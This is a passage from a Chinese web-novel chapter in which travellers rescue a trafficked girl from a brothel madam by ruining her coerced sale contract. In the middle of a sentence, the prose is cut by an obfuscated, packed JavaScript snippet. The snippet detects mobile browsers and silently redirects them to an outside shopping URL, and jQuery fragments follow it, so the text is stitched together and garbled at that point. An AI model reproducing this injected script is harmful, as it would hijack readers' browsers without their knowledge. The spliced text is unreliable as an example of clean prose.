默认冷灰
24号文字
方正启体

8. 扯坏契书

作者:灵夙本书字数:K更新时间:
    “说来惭愧,孙某此次仓促赶来丰安县,原是为了一桩私事,没曾想竟能在此遇到奇人……呃,在下绥州蔚县孙应丘,不知二位尊姓大名?可否告知孙某?”


    李令双正捏着一块桌上的桂花糕小口吃着,闻言摆了摆手,含糊道:“当不得什么‘奇人’,我姓李,名武。孙举人此来丰安县又是为何私事啊?”


    她随口报了一个名字,因这名字听起来颇为男性化,正合眼下女扮男装的处境。至于这身体的真名“李令双”,此刻自然不便提起。


    青衣男子微微颔首,声音清朗如玉石相击:“在下姓燕,单名一个‘扶’字。”语速不疾不徐,姿态从容,然而那微微上扬的尾音和眼底跃动的神采,却透出一股少年人特有的、未被世事磋磨的飞扬意气。


    孙应丘看得微微一怔,心中暗赞:好一个神采照人的少年郎!


    他忙敛神回礼,道:“原是李公子,燕公子。失敬失敬。”


    他顿了顿,脸上浮现忧色,说起正事:“实不相瞒,孙某此次仓促赶来丰安县,是为了一位姓林的姑娘。”


    “她父母新丧,孤苦无依,不知怎地被歹人盯上,竟拐了卖到此地一位妈妈手下。”


    “我一介书生,手无缚鸡之力,眼看她被人带走,心急如焚却无计可施,只好一路尾随至此,正苦于不知如何救人……方才见二位似乎也是跟着那位妈妈进来的,莫非……也是为了此事?”


    李令双闻言,脸上闪过一丝尴尬,摸了摸鼻子,瞥了一眼身旁饶有兴致看着她的燕扶,才老实道:“这个嘛……是这个老鸨她诓骗我,并未告诉我实情,好说有个不依不饶想要闹事的举子。”


    “我一时好奇,便跟着想来瞧瞧。没曾想,她竟是从人贩子手里买卖无辜女子,倒是被她摆了一道。”


    燕扶道:“孙兄高义,为救邻人甘冒风险尾随至此,令人佩服。此事既然叫我们遇上了,便没有袖手旁观的道理。”


    李令双立刻点头附和:“没错!这种伤天害理的事,撞见了就不能不管!”


    她身边的丫鬟小茹也握紧了小拳头,气鼓鼓地小声说:“公子说得对!那妈妈太可恶了!”


    燕扶见状,不再多言,径直走到门边,拉开门,唤住走廊里一名路过的侍从,低声吩咐了几句。


    过了片刻,一阵脚步声由远及近。门被推开,胖乎乎的老鸨赔着笑先走了进来,身后跟着个瘦小的姑娘。


    那姑娘约莫十四五岁年纪,穿着一身半旧的藕荷色布裙,身量尚未长足,显得空落落的。


    她垂着头,露出一段白皙细弱的脖颈,头发简单地绾着,只用一根木簪固定。待她怯怯抬起脸来,众人皆是一静——那是一张极清丽标致的小脸。


    只是此刻面色苍白,眼下带着青影,睫毛上犹沾着未干的泪珠,宛如一枚被风雨摧折过的玉兰花苞,楚楚可怜得让人心生不忍。


    李令双瞧着小姑娘的岁数,心里那点火气“噌”地又窜高了一截。


    她没立刻理会老鸨,放缓了声音问那姑娘:“姑娘,你别怕,告诉我们,你是怎么到这儿来的?实话实说,我们给你做主。”


    林姑娘闻言,抬起泪眼看了看李令双,像是抓住了救命稻草,声音细弱却清晰:“小女是蔚县人士,父母去年染病双亡,只留我一人。”


    “上月我在家中,被几个陌生汉子强掳了去,辗转卖给了这位妈妈手下的人,昨日才被带到丰安县来。我说的句句是实情,求贵人做主!”说着,就要跪下。


    李令双眼疾手快扶住她,转头看向老鸨时,脸色便沉了下来:“从拐子手里买人?你可知这是多大的罪过!”


    老鸨被李令双陡然拔高的气势唬了一跳,腿一软,差点真跪下去。


    可膝盖弯到一半,她眼珠子骨碌一转,又硬生生挺直了——眼前人可瞧着年岁不大,又非官非吏,自己怕他作甚?


    她偷眼去瞟那位一直沉默的青衣公子,却见他面上虽没什么表情,但那双清冽的眼睛正冷冷地看着自己,显然也是动了怒。老鸨心里一哆嗦,到嘴边的撒泼话又咽了回去。


    她干笑两声,搓着手道:“哎哟,这位公子可冤枉死老婆子了!我、我哪知道手下人是从哪儿弄来的人?”


    “兴许……兴许是这丫头自己愿意,胡乱攀咬呢!空口白牙的,总不能她说啥就是啥吧?”


    她越说越觉得自己有理,腰杆又挺直了些,从怀里掏出一张叠得方正正的纸来,抖开递到李令双面前,“您瞧!契书在此,白纸黑字写得明明白白,这丫头也是亲自画了押的!这总做不得假吧?”


    那是一张略显粗糙的棉纸,上面写着几行字,末尾按着一个鲜红的手印。


    李令双接过契书,眉头蹙得更紧,问向那姑娘:“这画押……又是怎么回事?”


    林姑娘眼泪扑簌簌掉下来,声音哽咽:“他们……他们逼我的。说不画押,就要我的命。”


    情况一下僵住了。没有契书,林姑娘是苦主,道理全在己方。


    可这契书在手,白纸黑字加红手印,到了公堂之上,官府多半会认这“凭证”。


    老鸨显然也明白这一点,见李令双面有难色,胆气又壮了几分,三角眼里闪过一丝得意:“公子,您也瞧见了。这世道,什么事都得讲个规


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224402|197559||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    矩、凭个契据不是?”


    “空口无凭的,说到天边去,老婆子我也是照契办事,就算告到县太爷那儿,我也是占理的一方!”


    一直静观其变的燕扶,听到此处,忽而开口,“这位孙举人,学富五车,于律例文书想必甚是精通。”


    “孙兄,不妨细观此契,看看其中……可有何不妥之处?”


    李令双立刻会意,将手中的契书往孙举人面前一递,嘴里附和道:“对对对,孙举人您是读书人,学问大,快帮忙瞧瞧,这契书写得是否周全?”她一边说,一边朝着孙举人飞快地眨了眨眼,递去一个心照不宣的眼神。


    孙举人清了清嗓子,双手接过契书:“既如此,孙某便……恭敬不如从命,仔细观摩一番。”


    他装模作样看着契书,口中还念念有词:“立契人……林林釉卿林氏……自愿卖身……银钱二十两……”看着看着,他另一只手似乎无意识地伸向桌上的茶壶,“……哎呀!”


    只听“哐当”一声轻响,茶壶被他“不小心”碰倒,半壶温茶不偏不倚,全泼在了那展开的契书上!


    “啊呀!糟了糟了!”孙举人惊呼一声,手忙脚乱地抓起自己袖子就往那湿透的契书上按去,用力擦拭,“在下失手!实在对不住,对不住!”


    褐色的茶渍迅速在棉纸上洇开,墨迹遇水,立刻模糊成了一团团混沌的污痕。


    “我的契书!”老鸨尖叫一声,肥胖的身躯爆发出惊人的敏捷,猛地扑过来就要抢夺。


    “慢着!”李令双反应更快,一个箭步上前,伸手也抓住了契书另一边,正好与孙举人一左一右扯住了湿淋淋的纸张。她一脸“焦急”,冲着孙举人“埋怨”道:“孙举人!湿了的纸哪能这么擦?得平铺开晾干才行!你快松手!”


    “是是是,兄台说得对,是孙某心急了!”孙举人连连点头,手上却“慌乱”地又用力擦了两下。


    两人一个说要“晾干”,一个忙着“擦拭”,手下却都不松劲,嘴里还在互相“指责”。


    只听得“刺啦”一声轻响——那本就泡软了的棉纸,竟被两人从中间生生扯成了两半!


    孙举人手里攥着大半张,还在徒劳地用袖子抹着上面糊成一团的墨迹。


    李令双则捏着剩下的一小半,僵在原地,看着手里残破的纸片,脸上适时地露出混合着惊愕、懊恼和无措的复杂表情,嘴里喃喃道:“这……这怎么就……扯坏了呢?”


    老鸨保持着扑抢的姿势,瞪着地上几滴茶渍和两人手中已然不成模样的“契书”,张大了嘴巴,眼珠子都快瞪出来了,一口气堵在胸口,半天没喘上来。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)